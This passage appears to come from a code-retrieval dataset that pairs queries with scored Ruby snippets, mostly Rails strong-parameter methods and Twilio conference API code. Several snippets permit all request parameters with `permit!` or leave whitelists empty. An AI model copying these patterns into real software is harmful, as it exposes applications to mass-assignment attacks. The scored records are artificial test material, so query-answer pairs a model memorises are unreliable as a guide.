"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
"text": "def user_params\n params.permit(:full_name, :email, :job, :about, :max_search_distance,\n :website_url, :linkedin_url,\n :behance_url, :github_url, :stackoverflow_url)\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.61038506",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6097247",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "677293afd31e8916c0aee52a787b75d8",
"score": "0.60860336",
"text": "def newsletter_params\n params.permit!.except(:action, :controller, :_method, :authenticity_token)\n end",
"title": ""
},
{
"docid": "e50ea3adc222a8db489f0ed3d1dce35b",
"score": "0.60855556",
"text": "def params_without_facebook_data\n params.except(:signed_request).permit!.to_hash\n end",
"title": ""
},
{
"docid": "b7ab5b72771a4a2eaa77904bb0356a48",
"score": "0.608446",
"text": "def search_params\n params.permit!.except(:controller, :action, :format)\n end",
"title": ""
},
{
"docid": "b2841e384487f587427c4b35498c133f",
"score": "0.6076753",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.60742563",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "0c8779b5d7fc10083824e36bfab170de",
"score": "0.60677326",
"text": "def white_base_params\n params.fetch(:white_base, {}).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.60666215",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "fa0608a79e8d27c2a070862e616c8c58",
"score": "0.6065763",
"text": "def vampire_params\n # whitelist all of the vampire attributes so that your forms work!\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.60655254",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "4f8205e45790aaf4521cdc5f872c2752",
"score": "0.6064794",
"text": "def search_params\n params.permit(:looking_for, :utf8, :authenticity_token, :min_age,\n :max_age, :sort_by, likes:[])\n end",
"title": ""
},
{
"docid": "e39a8613efaf5c6ecf8ebd58f1ac0a06",
"score": "0.6062697",
"text": "def permitted_params\n params.permit :utf8, :_method, :authenticity_token, :commit, :id,\n :encrypted_text, :key_size\n end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.60620916",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "d6886c65f0ba5ebad9a2fe5976b70049",
"score": "0.60562736",
"text": "def allow_params_authentication!\n request.env[\"devise.allow_params_authentication\"] = true\n end",
"title": ""
},
{
"docid": "96ddf2d48ead6ef7a904c961c284d036",
"score": "0.60491294",
"text": "def user_params\n permit = [\n :email, :password, :password_confirmation,\n :image, :name, :nickname, :oauth_token,\n :oauth_expires_at, :provider, :birthday\n ]\n params.permit(permit)\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "f78d6fd9154d00691c34980d7656b3fa",
"score": "0.60490465",
"text": "def authorize_params\n super.tap do |params|\n %w[display with_offical_account forcelogin].each do |v|\n if request.params[v]\n params[v.to_sym] = request.params[v]\n end\n end\n end\n end",
"title": ""
},
{
"docid": "75b7084f97e908d1548a1d23c68a6c4c",
"score": "0.6046521",
"text": "def allowed_params\n params.require(:sea).permit(:name, :temperature, :bio, :mood, :image_url, :favorite_color, :scariest_creature, :has_mermaids)\n end",
"title": ""
},
{
"docid": "080d2fb67f69228501429ad29d14eb29",
"score": "0.6041768",
"text": "def filter_user_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.60346854",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.6030552",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "cf73c42e01765dd1c09630007357379c",
"score": "0.6024842",
"text": "def params_striper\n\t \tparams[:user].delete :moonactor_ability\n\t end",
"title": ""
},
{
"docid": "793abf19d555fb6aa75265abdbac23a3",
"score": "0.6021606",
"text": "def user_params\n if admin_user?\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter, :active, :admin, :receive_customer_inquiry)\n else\n # Don't allow non-admin users to hack the parameters and give themselves admin security; self created records automatically set to active\n params.require(:user).permit(:email, :password, :password_confirmation, :name, :address_1, :address_2, :apt_number, :city, :state_id, :zip_code, :newsletter)\n end\n end",
"title": ""
},
{
"docid": "2e70947f467cb6b1fda5cddcd6dc6304",
"score": "0.6019679",
"text": "def strong_params(wimpy_params)\n ActionController::Parameters.new(wimpy_params).permit!\nend",
"title": ""
},
{
"docid": "2a11104d8397f6fb79f9a57f6d6151c7",
"score": "0.6017253",
"text": "def user_params\n sanitize params.require(:user).permit(:username, :password, :password_confirmation, :display_name, :about_me, :avatar, :current_password, :banned, :ban_message)\n end",
"title": ""
},
{
"docid": "a83bc4d11697ba3c866a5eaae3be7e05",
"score": "0.60145336",
"text": "def user_params\n\t params.permit(\n\t :name,\n\t :email,\n\t :password\n\t \t )\n\t end",
"title": ""
},
{
"docid": "2aa7b93e192af3519f13e9c65843a6ed",
"score": "0.60074294",
"text": "def user_params\n params[:user].permit!\n end",
"title": ""
},
{
"docid": "9c8cd7c9e353c522f2b88f2cf815ef4e",
"score": "0.6006753",
"text": "def case_sensitive_params\n params.require(:case_sensitive).permit(:name)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "45b8b091f448e1e15f62ce90b681e1b4",
"score": "0.6005122",
"text": "def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.60048765",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "e7cad604922ed7fad31f22b52ecdbd13",
"score": "0.60009843",
"text": "def member_params\n # byebug\n params.require(:member).permit(\n :first_name, \n :last_name, \n :username, \n :email, \n :password, \n :image, \n :family_size, \n :address)\n\n end",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "58ad32a310bf4e3c64929a860569b3db",
"score": "0.6000742",
"text": "def user_params\n\t\tparams.require(:user).permit!\n\tend",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6000161",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "2e6de53893e405d0fe83b9d18b696bd5",
"score": "0.599852",
"text": "def user_params\n params.require(:user).permit(:username, :password, :realname, :email, :publicvisible)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "19bd0484ed1e2d35b30d23b301d20f7c",
"score": "0.59984183",
"text": "def unsafe_params\n ActiveSupport::Deprecation.warn(\"Using `unsafe_params` isn't a great plan\", caller(1))\n params.dup.tap(&:permit!)\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.59947807",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "0f53610616212c35950b45fbcf9f5ad4",
"score": "0.5993962",
"text": "def user_params(params)\n\tparams.permit(:email, :password, :name, :blurb)\n end",
"title": ""
},
{
"docid": "b545ec7bfd51dc43b982b451a715a538",
"score": "0.5992739",
"text": "def user_params\n params_allowed = %i[email password password_confirmation is_admin]\n params.require(:user).permit(params_allowed)\n end",
"title": ""
},
{
"docid": "0b704016f3538045eb52c45442e7f704",
"score": "0.59911275",
"text": "def admin_params\n filtered_params = params.require(:admin).permit(:display_name, :email, :password, :password_confirmation)\n if filtered_params[:password] == \"\"\n filtered_params.delete(:password)\n filtered_params.delete(:password_confirmation)\n end\n filtered_params\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.59906775",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
}
] |
98bcaed3ea4bd79407ce1ae94986e9c5
|
Provide a detailed, user friendly representation source://twilioruby//lib/twilioruby/rest/insights/v1/conference.rb284
|
[
{
"docid": "473108fa97cee58671b779c2ccfec06f",
"score": "0.0",
"text": "def inspect; end",
"title": ""
}
] |
[
{
"docid": "4eb416801588afc5e2686223ef4057a3",
"score": "0.73263884",
"text": "def inspect\n values = @properties.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.ConferenceParticipantInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "526514a45bf150b939d6a8b06640646b",
"score": "0.71682554",
"text": "def to_s\n values = @params.map{|k, v| \"#{k}: #{v}\"}.join(\" \")\n \"<Twilio.Insights.V1.ConferenceParticipantInstance #{values}>\"\n end",
"title": ""
},
{
"docid": "4d7eae0ae781f30fa4f82e60e8080263",
"score": "0.7137514",
"text": "def inspect\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Insights.V1.ConferenceParticipantContext #{context}>\"\n end",
"title": ""
},
{
"docid": "182f3498bd38b4def02c54c430392d9a",
"score": "0.71265876",
"text": "def conference\n Validator.validate_nokogiri(@doc)\n xpath = \"//*/conference\"\n conf = @doc.xpath(xpath)\n return {} if conf.empty?\n session_xpath = \"//*/subj-group[@subj-group-type='conference-part']/subject\"\n session = Utils.clean_text(@doc.xpath(session_xpath).text)\n presenter_xpath = \"//*/sec[@sec-type='Presenting author']/p\"\n presenter = Utils.clean_text(@doc.xpath(presenter_xpath).text)\n {\n date: Utils.clean_text(conf.at_xpath(\"conf-date\").text),\n name: Utils.clean_text(conf.at_xpath(\"conf-name\").text),\n acronym: Utils.clean_text(conf.at_xpath(\"conf-acronym\").text),\n location: Utils.clean_text(conf.at_xpath(\"conf-loc\").text),\n theme: Utils.clean_text(conf.at_xpath(\"conf-theme\").text),\n session: session,\n presenter: presenter\n }\n end",
"title": ""
},
{
"docid": "19f7fe96a4f4a9a7148ec9ee285af059",
"score": "0.7100097",
"text": "def to_s\n '<Twilio.Insights.V1.ConferenceParticipantPage>'\n end",
"title": ""
},
{
"docid": "62fa7eb1b80b44c373ecdb9bfeb59056",
"score": "0.70702344",
"text": "def conference(conference_id, **options) = get(\"/conferences/#{conference_id}\", **options)",
"title": ""
},
{
"docid": "4c1eec1decbbe199ca0baa893bb32cfc",
"score": "0.7018007",
"text": "def to_s\n context = @solution.map{|k, v| \"#{k}: #{v}\"}.join(',')\n \"#<Twilio.Insights.V1.ConferenceParticipantContext #{context}>\"\n end",
"title": ""
},
{
"docid": "8a51619838af0db5290ac60f8fc4f677",
"score": "0.68385154",
"text": "def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "06bf8f4cf8aa7b8dc0a1049e26076915",
"score": "0.67616737",
"text": "def show\n @conference = Conference.friendly.find(params[:id])\n @calendar_events = @conference.events.where(shown: true, accepted: true)\n # FEATURE: replace with infinite scroll pagination\n @events = @conference.events.select{ |event| event.shown && event.verified }.sort_by(&:votes).reverse\n\n respond_with(@conference) do |format|\n format.ics { render text: @conference.to_ics }\n end\n end",
"title": ""
},
{
"docid": "e5fc33d2d0d03ea1aa4f816af2ccbf91",
"score": "0.6718725",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "e5fc33d2d0d03ea1aa4f816af2ccbf91",
"score": "0.6718725",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "bb97cd41bd934e474969f5f8da3e23c7",
"score": "0.6686253",
"text": "def show\n @conference_stat = ConferenceStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference_stat }\n end\n end",
"title": ""
},
{
"docid": "b33b921d7d3e37661cac74623b0cba05",
"score": "0.66826457",
"text": "def to_s\n '#<Twilio.Insights.V1.ConferenceParticipantList>'\n end",
"title": ""
},
{
"docid": "b50dbfd4e3dda5b29057feaa54913632",
"score": "0.6601039",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_with @conference\n end",
"title": ""
},
{
"docid": "a4b161565e4abb8dc7643a0f10c38f9c",
"score": "0.6492414",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end",
"title": ""
},
{
"docid": "ed67876ded9c486f7bed5cffa51a3934",
"score": "0.6438908",
"text": "def show\n # @conference is loaded in before_filter\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"title": ""
},
{
"docid": "4e07caa777b38e55827c4738c0188afe",
"score": "0.6433768",
"text": "def conference_id\n return @conference_id\n end",
"title": ""
},
{
"docid": "4e07caa777b38e55827c4738c0188afe",
"score": "0.6433768",
"text": "def conference_id\n return @conference_id\n end",
"title": ""
},
{
"docid": "4e07caa777b38e55827c4738c0188afe",
"score": "0.6433768",
"text": "def conference_id\n return @conference_id\n end",
"title": ""
},
{
"docid": "14d1e0afe38ab3a3877d40a03e772264",
"score": "0.6422063",
"text": "def set_conferences\n if response[\"conference\"]\n if response[\"conference\"].is_a?(Array)\n @conferences = response[\"conference\"].map {|conference| Sportradar::Api::Nfl::Conference.new conference }\n elsif response[\"conference\"].is_a?(Hash)\n @conferences = [ Sportradar::Api::Nfl::Conference.new(response[\"conference\"]) ]\n end\n end\n end",
"title": ""
},
{
"docid": "2b303e638d9e8ec863e86dad246a743a",
"score": "0.64213324",
"text": "def get_conferences_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.get_conferences ...\"\n end\n # resource path\n local_var_path = \"/conferences\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse200')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#get_conferences\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "536747baba9f69890a4b0fbf1ab92761",
"score": "0.64175993",
"text": "def get_conferences_0_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.get_conferences_0 ...\"\n end\n # resource path\n local_var_path = \"/conferences\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse200')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#get_conferences_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "75f1edeceb317f747a6076930e3a657f",
"score": "0.6369858",
"text": "def conference_name\n @conference_name ||= ENV.fetch('CONFLY_API_CONFERENCE')\n end",
"title": ""
},
{
"docid": "3e364444bedbfbb75eda00cecac87980",
"score": "0.6347467",
"text": "def stream(conference_sid: T.unsafe(nil), friendly_name: T.unsafe(nil), status: T.unsafe(nil), created_after: T.unsafe(nil), created_before: T.unsafe(nil), mixer_region: T.unsafe(nil), tags: T.unsafe(nil), subaccount: T.unsafe(nil), detected_issues: T.unsafe(nil), end_reason: T.unsafe(nil), limit: T.unsafe(nil), page_size: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "b2a977c11aca690152cdc2aa6a051ce5",
"score": "0.62925076",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"title": ""
},
{
"docid": "b2a977c11aca690152cdc2aa6a051ce5",
"score": "0.62925076",
"text": "def show\n @conference = Conference.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @conference }\n end\n end",
"title": ""
},
{
"docid": "9ae1e30a860fdd1d6118dc27205b1af4",
"score": "0.6271378",
"text": "def find_conference\n Conference.find(conference_id)\n end",
"title": ""
},
{
"docid": "9ae1e30a860fdd1d6118dc27205b1af4",
"score": "0.6271378",
"text": "def find_conference\n Conference.find(conference_id)\n end",
"title": ""
},
{
"docid": "126dd1ac9ef34a53cf4e62489d60430a",
"score": "0.6215453",
"text": "def create_conference_with_http_info(label, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.create_conference ...\"\n end\n # verify the required parameter 'label' is set\n if @api_client.config.client_side_validation && label.nil?\n fail ArgumentError, \"Missing the required parameter 'label' when calling ConferencesApi.create_conference\"\n end\n # resource path\n local_var_path = \"/conferences\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n form_params[\"label\"] = label\n form_params[\"start_time\"] = opts[:'start_time'] if !opts[:'start_time'].nil?\n form_params[\"end_time\"] = opts[:'end_time'] if !opts[:'end_time'].nil?\n form_params[\"fonenumber\"] = opts[:'fonenumber'] if !opts[:'fonenumber'].nil?\n form_params[\"before_message\"] = opts[:'before_message'] if !opts[:'before_message'].nil?\n form_params[\"after_message\"] = opts[:'after_message'] if !opts[:'after_message'].nil?\n form_params[\"max_members\"] = opts[:'max_members'] if !opts[:'max_members'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2013')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#create_conference\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "fdcd4abbab1c32afbd47112f2630530b",
"score": "0.6204819",
"text": "def page(conference_sid: T.unsafe(nil), friendly_name: T.unsafe(nil), status: T.unsafe(nil), created_after: T.unsafe(nil), created_before: T.unsafe(nil), mixer_region: T.unsafe(nil), tags: T.unsafe(nil), subaccount: T.unsafe(nil), detected_issues: T.unsafe(nil), end_reason: T.unsafe(nil), page_token: T.unsafe(nil), page_number: T.unsafe(nil), page_size: T.unsafe(nil)); end",
"title": ""
},
{
"docid": "7d0a61646a0d842fc9066da4d197a89c",
"score": "0.61881363",
"text": "def informal_conference_time\n data_attributes&.dig('informalConferenceTime')\n end",
"title": ""
},
{
"docid": "7d0a61646a0d842fc9066da4d197a89c",
"score": "0.61881363",
"text": "def informal_conference_time\n data_attributes&.dig('informalConferenceTime')\n end",
"title": ""
},
{
"docid": "303ba1aa4abed4037d638dfd1a913f56",
"score": "0.61814684",
"text": "def show\n @conference_room = ConferenceRoom.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference_room }\n end\n end",
"title": ""
},
{
"docid": "8d13daf9f1b5a287ececbd840a2917a4",
"score": "0.6161857",
"text": "def create_conferences_viewconference(conference_sid)\r\n # Prepare query url.\r\n _query_builder = Configuration.base_uri.dup\r\n _query_builder << '/conferences/viewconference.json'\r\n _query_url = APIHelper.clean_url _query_builder\r\n\r\n # Prepare form parameters.\r\n _parameters = {\r\n 'ConferenceSid' => conference_sid\r\n }\r\n _parameters = APIHelper.form_encode_parameters(_parameters)\r\n\r\n # Prepare and execute HttpRequest.\r\n _request = @http_client.post(\r\n _query_url,\r\n parameters: _parameters\r\n )\r\n BasicAuth.apply(_request)\r\n _context = execute_request(_request)\r\n validate_response(_context)\r\n\r\n # Return appropriate response type.\r\n _context.response.raw_body\r\n end",
"title": ""
},
{
"docid": "820bdec46c95e76d49d86a5630f0ae07",
"score": "0.61580974",
"text": "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "e23409f137f856731fc73ebbe6b0b553",
"score": "0.61439437",
"text": "def show\n @conference = Conference.find(params[:id])\n @slot = Slot.new #for schedule showing\n\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @conference }\n end\n end",
"title": ""
},
{
"docid": "c5be657c2541be6bab682010b24be928",
"score": "0.6131175",
"text": "def create_conference_0_with_http_info(label, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: ConferencesApi.create_conference_0 ...\"\n end\n # verify the required parameter 'label' is set\n if @api_client.config.client_side_validation && label.nil?\n fail ArgumentError, \"Missing the required parameter 'label' when calling ConferencesApi.create_conference_0\"\n end\n # resource path\n local_var_path = \"/conferences\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/x-www-form-urlencoded'])\n\n # form parameters\n form_params = {}\n form_params[\"label\"] = label\n form_params[\"start_time\"] = opts[:'start_time'] if !opts[:'start_time'].nil?\n form_params[\"end_time\"] = opts[:'end_time'] if !opts[:'end_time'].nil?\n form_params[\"fonenumber\"] = opts[:'fonenumber'] if !opts[:'fonenumber'].nil?\n form_params[\"before_message\"] = opts[:'before_message'] if !opts[:'before_message'].nil?\n form_params[\"after_message\"] = opts[:'after_message'] if !opts[:'after_message'].nil?\n form_params[\"max_members\"] = opts[:'max_members'] if !opts[:'max_members'].nil?\n\n # http body (model)\n post_body = nil\n auth_names = ['jwt']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'InlineResponse2013')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ConferencesApi#create_conference_0\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"title": ""
},
{
"docid": "aa4abc651eb7832b88c3af66e57bb0b0",
"score": "0.6125599",
"text": "def show\n @conference = Conference.find(params[:id])\n clarify = Clarify::Client.new(api_key: ENV['CLARIFY_KEY'])\n bundle = clarify.get(\"/v1/bundles/#{@conference.clarify_id}\")\n bundle_insights_url = bundle.relation('clarify:insights')\n @insights = clarify.get(bundle_insights_url)\n @spoken_words_url = @insights.body['_links']['insight:spoken_keywords']['href']\n @spoken_words_analysis = clarify.get(@spoken_words_url)\n @track_data = @spoken_words_analysis.body['track_data']\n @listeners = Caller.all\n end",
"title": ""
},
{
"docid": "d0d59370d042a291d5f929fe22bd6807",
"score": "0.61066306",
"text": "def new\n @conference_stat = ConferenceStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @conference_stat }\n end\n end",
"title": ""
},
{
"docid": "f1f572a6f8dfa0313f3142b24f09c0c8",
"score": "0.60981876",
